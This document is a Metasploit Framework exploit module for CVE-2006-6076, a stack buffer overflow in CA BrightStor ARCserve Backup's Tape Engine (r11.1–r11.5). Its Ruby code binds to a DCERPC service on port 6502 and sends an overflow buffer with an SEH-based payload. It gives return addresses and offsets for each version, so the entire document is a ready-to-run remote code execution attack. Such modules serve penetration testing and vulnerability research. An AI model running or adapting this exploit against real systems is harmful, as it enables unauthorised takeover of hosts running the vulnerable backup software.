CA BrightStor ARCserve Tape Engine Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup  
r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow  
the buffer and execute arbitrary code.   
},  
'Author' => [ 'MC', 'patrick' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-6076' ],  
[ 'OSVDB', '30637' ],  
[ 'BID', '21221' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/3086' ],  
[ 'URL', 'http://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=101317' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",  
'StackAdjustment' => -9500,  
},  
'Platform' => 'win',  
'Targets' =>  
[   
[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004  
[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/????  
],  
'DisclosureDate' => 'Nov 21 2006',  
'DefaultTarget' => 1))  
  
register_options([ Opt::RPORT(6502) ], self.class)  
end  
  
def exploit  
connect  
  
handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])  
print_status("Binding to #{handle} ...")  
  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
request = "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"  
request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
  
dcerpc.call(43, request)  
  
filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset'])  
seh = generate_seh_payload(target.ret)  
sploit = filler + seh  
  
print_status("Trying target #{target.name}...")  
  
begin  
dcerpc_call(38, sploit)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
end  
  
handler  
disconnect  
end  
  
end  
`